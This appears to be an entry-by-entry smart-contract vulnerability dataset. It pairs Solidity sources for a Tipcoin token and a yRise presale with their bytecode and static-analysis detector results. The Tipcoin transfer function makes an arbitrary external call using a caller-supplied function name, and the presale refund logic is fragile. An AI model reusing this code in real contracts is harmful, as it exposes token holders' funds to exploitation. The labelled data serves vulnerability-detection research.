/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC223 interface
**/
contract ERC223Interface {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
/**
* @title ERC223 token handler
**/
contract ERC223Receiver {
function tokenFallback(address _fromm, uint256 _value, bytes _data) public pure;
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
address public newOwner;
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
event OwnershipTransferred(address oldOwner, address newOwner);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
* @dev Modified by function 'finalUnpause'
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
event FinalUnpause();
bool public paused = false;
// finalUnpaused always false, not sure its purpose
bool public finalUnpaused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
require (!finalUnpaused);
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
/**
* func unpause and finalUnpause are doing same stuff except from event.
* didn't see any effect.
*/
function finalUnpause() onlyOwner public {
paused = false;
emit FinalUnpause();
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
// not required, sub method will take care of this.
// require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
/**
* @title Tipcoin contract
**/
contract TipcoinToken is StandardToken, Pausable, BurnableToken, ERC223Interface {
using SafeMath for uint256;
string public constant name = "Tipcoin";
string public constant symbol = "TIPC";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1000000000;
constructor() public {
// owner is already initiated in ownable constructor.
// owner = msg.sender;
totalSupply_ = INITIAL_SUPPLY * 10 ** 18;
balances[owner] = totalSupply_;
emit Transfer(address(0), owner, INITIAL_SUPPLY);
}
/**
* @dev transfer token for a specified address with call custom function external data
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
* @param _data The data to call tokenFallback function.
* @param _fallback The function name and params to call external function
*/
function transfer(address _to, uint256 _value, bytes _data, string _fallback) public whenNotPaused returns (bool) {
require( _to != address(0));
if (isContract(_to)) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(abi.encodePacked(_fallback))), msg.sender, _value, _data));
if (_data.length == 0) {
emit Transfer(msg.sender, _to, _value);
} else {
emit Transfer(msg.sender, _to, _value);
emit Transfer(msg.sender, _to, _value, _data);
}
return true;
} else {
return transferToAddress(msg.sender, _to, _value, _data);
}
}
/**
* @dev transfer token for a specified address with external data
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
* @param _data The data to call tokenFallback function
*/
function transfer(address _to, uint256 _value, bytes _data) public whenNotPaused returns (bool) {
if (isContract(_to)) {
return transferToContract(msg.sender, _to, _value, _data);
} else {
return transferToAddress(msg.sender, _to, _value, _data);
}
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
bytes memory empty;
if (isContract(_to)) {
return transferToContract(msg.sender, _to, _value, empty);
} else {
return transferToAddress(msg.sender, _to, _value, empty);
}
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool){
require( _to != address(0));
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_from, _to, _value, empty);
} else {
return transferToAddress(_from, _to, _value, empty);
}
}
//@dev internal part
function isContract(address _addr) internal view returns (bool) {
uint length;
assembly {
length := extcodesize(_addr)
}
return (length >0);
}
function transferToAddress(address _from, address _to, uint256 _value, bytes _data) private returns (bool) {
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
if (_data.length == 0) {
emit Transfer(_from, _to, _value);
} else {
emit Transfer(_from, _to, _value);
emit Transfer(_from, _to, _value, _data);
}
return true;
}
function transferToContract(address _from, address _to, uint256 _value, bytes _data) private returns (bool) {
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(_from, _value, _data);
if (_data.length == 0) {
emit Transfer(_from, _to, _value);
} else {
emit Transfer(_from, _to, _value);
emit Transfer(_from, _to, _value, _data);
}
return true;
}
}
|
0x6080604052600436106101195763ffffffff60e060020a60003504166306fdde03811461011e578063095ea7b3146101a857806318160ddd146101e057806323b872dd146102075780632ff2e9dc14610231578063313ce567146102465780633f4ba83a1461027157806342966c68146102885780635c975abb146102a057806366188463146102b557806370a08231146102d95780638456cb59146102fa5780638da5cb5b1461030f57806395d89b4114610340578063a9059cbb14610355578063be45fd6214610379578063c49ee5b4146103e2578063d4ee1d90146103f7578063d73dd6231461040c578063dd62ed3e14610430578063f2fde38b14610457578063f6368f8a14610478578063ff01f11a1461051f575b600080fd5b34801561012a57600080fd5b50610133610534565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561016d578181015183820152602001610155565b50505050905090810190601f16801561019a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b457600080fd5b506101cc600160a060020a036004351660243561056b565b604080519115158252519081900360200190f35b3480156101ec57600080fd5b506101f56105d1565b60408051918252519081900360200190f35b34801561021357600080fd5b506101cc600160a060020a03600435811690602435166044356105d7565b34801561023d57600080fd5b506101f5610696565b34801561025257600080fd5b5061025b61069e565b6040805160ff9092168252519081900360200190f35b34801561027d57600080fd5b506102866106a3565b005b34801561029457600080fd5b5061028660043561071b565b3480156102ac57600080fd5b506101cc610728565b3480156102c157600080fd5b506101cc600160a060020a0360043516602435610738565b3480156102e557600080fd5b506101f5600160a060020a036004351661082a565b34801561030657600080fd5b50610286610845565b34801561031b57600080fd5b506103246108eb565b60408051600160a060020a039092168252519081900360200190f35b34801561034c57600080fd5b506101336108fa565b34801561036157600080fd5b506101cc600160a060020a0360043516602435610931565b34801561038557600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526101cc948235600160a060020a031694602480359536959460649492019190819084018382808284375094975061097b9650505050505050565b3480156103ee57600080fd5b506102866109c9565b34801561040357600080fd5b50610324610a29565b34801561041857600080fd5b506101cc600160a060020a0360043516602435610a38565b34801561043c57600080fd5b506101f5600160a060020a0360043581169060243516610ad1565b34801561046357600080fd5b50610286600160a060020a0360043516610afc565b34801561048457600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526101cc948235600160a060020a031694602480359536959460649492019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a999881019791965091820194509250829150840183828082843750949750610b9f9650505050505050565b34801561052b57600080fd5b506101cc610f15565b60408051808201909152600781527f546970636f696e00000000000000000000000000000000000000000000000000602082015281565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b60045460009060609060a060020a900460ff16156105f457600080fd5b600160a060020a038416151561060957600080fd5b600160a060020a038516600090815260026020908152604080832033845290915290205461063d908463ffffffff610f3716565b600160a060020a038616600090815260026020908152604080832033845290915290205561066a84610f49565b156106825761067b85858584610f51565b915061068e565b61067b858585846111fc565b509392505050565b633b9aca0081565b601281565b600354600160a060020a031633146106ba57600080fd5b60045460a060020a900460ff1615156106d257600080fd5b6004805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b61072533826113b3565b50565b60045460a060020a900460ff1681565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561078d57336000908152600260209081526040808320600160a060020a03881684529091528120556107c2565b61079d818463ffffffff610f3716565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a3600191505b5092915050565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a0316331461085c57600080fd5b60045460a060020a900460ff161561087357600080fd5b6004547501000000000000000000000000000000000000000000900460ff161561089c57600080fd5b6004805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b60408051808201909152600481527f5449504300000000000000000000000000000000000000000000000000000000602082015281565b60045460009060609060a060020a900460ff161561094e57600080fd5b61095784610f49565b1561096f5761096833858584610f51565b9150610823565b610968338585846111fc565b60045460009060a060020a900460ff161561099557600080fd5b61099e84610f49565b156109b6576109af33858585610f51565b90506109c2565b6109af338585856111fc565b9392505050565b600354600160a060020a031633146109e057600080fd5b6004805474ff0000000000000000000000000000000000000000191690556040517f6b91829952072f405621e762f8abba13300da01061e57bb3f9a9b1364df711e990600090a1565b600454600160a060020a031681565b336000908152600260209081526040808320600160a060020a0386168452909152812054610a6c908363ffffffff61147d16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a03163314610b1357600080fd5b600160a060020a0381161515610b2857600080fd5b60035460408051600160a060020a039283168152918316602083015280517f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09281900390910190a16003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60045460009060a060020a900460ff1615610bb957600080fd5b600160a060020a0385161515610bce57600080fd5b610bd785610f49565b15610efe5733600090815260208190526040902054610bfc908563ffffffff610f3716565b3360009081526020819052604080822092909255600160a060020a03871681522054610c2e908563ffffffff61147d16565b60008087600160a060020a0316600160a060020a031681526020019081526020016000208190555084600160a060020a03166000836040516020018082805190602001908083835b60208310610c955780518252601f199092019160209182019101610c76565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040526040518082805190602001908083835b60208310610cf85780518252601f199092019160209182019101610cd9565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015610d8a578181015183820152602001610d72565b50505050905090810190601f168015610db75780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185885af193505050501515610dd757fe5b82511515610e1257604080518581529051600160a060020a03871691339160008051602061148d8339815191529181900360200190a3610ef6565b604080518581529051600160a060020a03871691339160008051602061148d8339815191529181900360200190a384600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1686866040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610eba578181015183820152602001610ea2565b50505050905090810190601f168015610ee75780820380516001836020036101000a031916815260200191505b50935050505060405180910390a35b506001610f0d565b610f0a338686866111fc565b90505b949350505050565b6004547501000000000000000000000000000000000000000000900460ff1681565b600082821115610f4357fe5b50900390565b6000903b1190565b600160a060020a0384166000908152602081905260408120548190610f7c908563ffffffff610f3716565b600160a060020a038088166000908152602081905260408082209390935590871681522054610fb1908563ffffffff61147d16565b600160a060020a038087166000818152602081815260408083209590955593517fc0ee0b8a000000000000000000000000000000000000000000000000000000008152928a1660048401908152602484018990526060604485019081528851606486015288518b9750939563c0ee0b8a958d958c958c959493608490930192860191908190849084905b8381101561105357818101518382015260200161103b565b50505050905090810190601f1680156110805780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1580156110a157600080fd5b505af11580156110b5573d6000803e3d6000fd5b505050508251600014156111015784600160a060020a031686600160a060020a031660008051602061148d833981519152866040518082815260200191505060405180910390a36111f0565b84600160a060020a031686600160a060020a031660008051602061148d833981519152866040518082815260200191505060405180910390a384600160a060020a031686600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1686866040518083815260200180602001828103825283818151815260200191508051906020019080838360005b838110156111b457818101518382015260200161119c565b50505050905090810190601f1680156111e15780820380516001836020036101000a031916815260200191505b50935050505060405180910390a35b50600195945050505050565b600160a060020a038416600090815260208190526040812054611225908463ffffffff610f3716565b600160a060020a03808716600090815260208190526040808220939093559086168152205461125a908463ffffffff61147d16565b600160a060020a038516600090815260208190526040902055815115156112b95783600160a060020a031685600160a060020a031660008051602061148d833981519152856040518082815260200191505060405180910390a36113a8565b83600160a060020a031685600160a060020a031660008051602061148d833981519152856040518082815260200191505060405180910390a383600160a060020a031685600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1685856040518083815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561136c578181015183820152602001611354565b50505050905090810190601f1680156113995780820380516001836020036101000a031916815260200191505b50935050505060405180910390a35b506001949350505050565b600160a060020a0382166000908152602081905260409020546113dc908263ffffffff610f3716565b600160a060020a038316600090815260208190526040902055600154611408908263ffffffff610f3716565b600155604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518281529051600091600160a060020a0385169160008051602061148d8339815191529181900360200190a35050565b6000828201838110156109c257fe00ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582016a59737e3c4fe6d699fb3f0265ed1e351d9dcda5d3c88d10e4d68f6fdc84b410029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 5,146 |
0xb2941f4b683c64dcc3bd763bc7ef22bf969f309e
|
pragma solidity 0.6.8;
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface ERC20 {
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint value) external returns (bool success);
function transferFrom(address from, address to, uint256 value) external returns (bool success);
function approve(address spender, uint value) external returns (bool success);
}
contract yRiseTokenSale {
using SafeMath for uint256;
uint256 public totalSold;
ERC20 public yRiseToken;
address payable public owner;
uint256 public collectedETH;
uint256 public startDate;
bool public softCapMet;
bool private presaleClosed = false;
uint256 private ethWithdrawals = 0;
uint256 private lastWithdrawal;
// tracks all contributors.
mapping(address => uint256) internal _contributions;
// adjusts for different conversion rates.
mapping(address => uint256) internal _averagePurchaseRate;
// total contributions from wallet.
mapping(address => uint256) internal _numberOfContributions;
constructor(address _wallet) public {
owner = msg.sender;
yRiseToken = ERC20(_wallet);
}
uint256 amount;
uint256 rateDay1 = 20;
uint256 rateDay2 = 16;
uint256 rateDay3 = 13;
uint256 rateDay4 = 10;
uint256 rateDay5 = 8;
// Converts ETH to yRise and sends new yRise to the sender
receive () external payable {
require(startDate > 0 && now.sub(startDate) <= 7 days);
require(yRiseToken.balanceOf(address(this)) > 0);
require(msg.value >= 0.1 ether && msg.value <= 3 ether);
require(!presaleClosed);
if (now.sub(startDate) <= 1 days) {
amount = msg.value.mul(20);
_averagePurchaseRate[msg.sender] = _averagePurchaseRate[msg.sender].add(rateDay1.mul(10));
} else if(now.sub(startDate) > 1 days && now.sub(startDate) <= 2 days) {
amount = msg.value.mul(16);
_averagePurchaseRate[msg.sender] = _averagePurchaseRate[msg.sender].add(rateDay2.mul(10));
} else if(now.sub(startDate) > 2 days && now.sub(startDate) <= 3 days) {
amount = msg.value.mul(13);
_averagePurchaseRate[msg.sender] = _averagePurchaseRate[msg.sender].add(rateDay3.mul(10));
} else if(now.sub(startDate) > 3 days && now.sub(startDate) <= 4 days) {
amount = msg.value.mul(10);
_averagePurchaseRate[msg.sender] = _averagePurchaseRate[msg.sender].add(rateDay4.mul(10));
} else if(now.sub(startDate) > 4 days) {
amount = msg.value.mul(8);
_averagePurchaseRate[msg.sender] = _averagePurchaseRate[msg.sender].add(rateDay5.mul(10));
}
require(amount <= yRiseToken.balanceOf(address(this)));
// update constants.
totalSold = totalSold.add(amount);
collectedETH = collectedETH.add(msg.value);
// update address contribution + total contributions.
_contributions[msg.sender] = _contributions[msg.sender].add(amount);
_numberOfContributions[msg.sender] = _numberOfContributions[msg.sender].add(1);
// transfer the tokens.
yRiseToken.transfer(msg.sender, amount);
// check if soft cap is met.
if (!softCapMet && collectedETH >= 100 ether) {
softCapMet = true;
}
}
// Converts ETH to yRise and sends new yRise to the sender
function contribute() external payable {
require(startDate > 0 && now.sub(startDate) <= 7 days);
require(yRiseToken.balanceOf(address(this)) > 0);
require(msg.value >= 0.1 ether && msg.value <= 3 ether);
require(!presaleClosed);
if (now.sub(startDate) <= 1 days) {
amount = msg.value.mul(20);
_averagePurchaseRate[msg.sender] = _averagePurchaseRate[msg.sender].add(rateDay1.mul(10));
} else if(now.sub(startDate) > 1 days && now.sub(startDate) <= 2 days) {
amount = msg.value.mul(16);
_averagePurchaseRate[msg.sender] = _averagePurchaseRate[msg.sender].add(rateDay2.mul(10));
} else if(now.sub(startDate) > 2 days && now.sub(startDate) <= 3 days) {
amount = msg.value.mul(13);
_averagePurchaseRate[msg.sender] = _averagePurchaseRate[msg.sender].add(rateDay3.mul(10));
} else if(now.sub(startDate) > 3 days && now.sub(startDate) <= 4 days) {
amount = msg.value.mul(10);
_averagePurchaseRate[msg.sender] = _averagePurchaseRate[msg.sender].add(rateDay4.mul(10));
} else if(now.sub(startDate) > 4 days) {
amount = msg.value.mul(8);
_averagePurchaseRate[msg.sender] = _averagePurchaseRate[msg.sender].add(rateDay5.mul(10));
}
require(amount <= yRiseToken.balanceOf(address(this)));
// update constants.
totalSold = totalSold.add(amount);
collectedETH = collectedETH.add(msg.value);
// update address contribution + total contributions.
_contributions[msg.sender] = _contributions[msg.sender].add(amount);
_numberOfContributions[msg.sender] = _numberOfContributions[msg.sender].add(1);
// transfer the tokens.
yRiseToken.transfer(msg.sender, amount);
// check if soft cap is met.
if (!softCapMet && collectedETH >= 100 ether) {
softCapMet = true;
}
}
function numberOfContributions(address from) public view returns(uint256) {
return _numberOfContributions[address(from)];
}
function contributions(address from) public view returns(uint256) {
return _contributions[address(from)];
}
function averagePurchaseRate(address from) public view returns(uint256) {
return _averagePurchaseRate[address(from)];
}
// if the soft cap isn't met and the presale period ends (7 days) enable
// users to buy back their ether.
function buyBackETH(address payable from) public {
require(now.sub(startDate) > 7 days && !softCapMet);
require(_contributions[from] > 0);
uint256 exchangeRate = _averagePurchaseRate[from].div(10).div(_numberOfContributions[from]);
uint256 contribution = _contributions[from];
// remove funds from users contributions.
_contributions[from] = 0;
// transfer funds back to user.
from.transfer(contribution.div(exchangeRate));
}
// Function to withdraw raised ETH (staggered withdrawals)
// Only the contract owner can call this function
function withdrawETH() public {
require(msg.sender == owner && address(this).balance > 0);
require(softCapMet == true && presaleClosed == true);
uint256 withdrawAmount;
// first ether withdrawal (max 150 ETH)
if (ethWithdrawals == 0) {
if (collectedETH <= 150 ether) {
withdrawAmount = collectedETH;
} else {
withdrawAmount = 150 ether;
}
} else {
// remaining ether withdrawal (max 150 ETH per withdrawal)
// staggered in 7 day periods.
uint256 currDate = now;
// ensure that it has been at least 7 days.
require(currDate.sub(lastWithdrawal) >= 7 days);
if (collectedETH <= 150 ether) {
withdrawAmount = collectedETH;
} else {
withdrawAmount = 150 ether;
}
}
lastWithdrawal = now;
ethWithdrawals = ethWithdrawals.add(1);
collectedETH = collectedETH.sub(withdrawAmount);
owner.transfer(withdrawAmount);
}
function endPresale() public {
require(msg.sender == owner);
presaleClosed = true;
}
// Function to burn remaining yRise (sale must be over to call)
// Only the contract owner can call this function
function burnyRise() public {
require(msg.sender == owner && yRiseToken.balanceOf(address(this)) > 0 && now.sub(startDate) > 7 days);
// burn the left over.
yRiseToken.transfer(address(0), yRiseToken.balanceOf(address(this)));
}
//Starts the sale
//Only the contract owner can call this function
function startSale() public {
require(msg.sender == owner && startDate==0);
startDate=now;
}
//Function to query the supply of yRise in the contract
function availableyRise() public view returns(uint256) {
return yRiseToken.balanceOf(address(this));
}
}
|
0x6080604052600436106100f75760003560e01c8063be3853c91161008a578063df69292911610059578063df69292914610d68578063dfccdef514610dcd578063e086e5ec14610df8578063fe17788414610e0f57610ac6565b8063be3853c914610c87578063c6ef5ffb14610cd8578063d7bb99ba14610d2f578063dd1da86214610d3957610ac6565b80639106d7ba116100c65780639106d7ba14610c17578063a43be57b14610c42578063b66a0e5d14610c59578063baa359e114610c7057610ac6565b80630b97bc8614610acb57806342e94c9014610af65780638cf59dc814610b5b5780638da5cb5b14610bc057610ac6565b36610ac6576000600454118015610125575062093a8061012260045442610e3a90919063ffffffff16565b11155b61012e57600080fd5b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156101cf57600080fd5b505afa1580156101e3573d6000803e3d6000fd5b505050506040513d60208110156101f957600080fd5b81019080805190602001909291905050501161021457600080fd5b67016345785d8a0000341015801561023457506729a2241af62c00003411155b61023d57600080fd5b600560019054906101000a900460ff161561025757600080fd5b6201518061027060045442610e3a90919063ffffffff16565b1161033e57610289601434610e5a90919063ffffffff16565b600b819055506102f66102a8600a600c54610e5a90919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e9490919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610747565b6201518061035760045442610e3a90919063ffffffff16565b11801561037b57506202a30061037860045442610e3a90919063ffffffff16565b11155b1561044957610394601034610e5a90919063ffffffff16565b600b819055506104016103b3600a600d54610e5a90919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e9490919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610746565b6202a30061046260045442610e3a90919063ffffffff16565b11801561048657506203f48061048360045442610e3a90919063ffffffff16565b11155b156105545761049f600d34610e5a90919063ffffffff16565b600b8190555061050c6104be600a600e54610e5a90919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e9490919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610745565b6203f48061056d60045442610e3a90919063ffffffff16565b11801561059157506205460061058e60045442610e3a90919063ffffffff16565b11155b1561065f576105aa600a34610e5a90919063ffffffff16565b600b819055506106176105c9600a600f54610e5a90919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e9490919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610744565b6205460061067860045442610e3a90919063ffffffff16565b111561074357610692600834610e5a90919063ffffffff16565b600b819055506106ff6106b1600a601054610e5a90919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e9490919063ffffffff16565b600960003373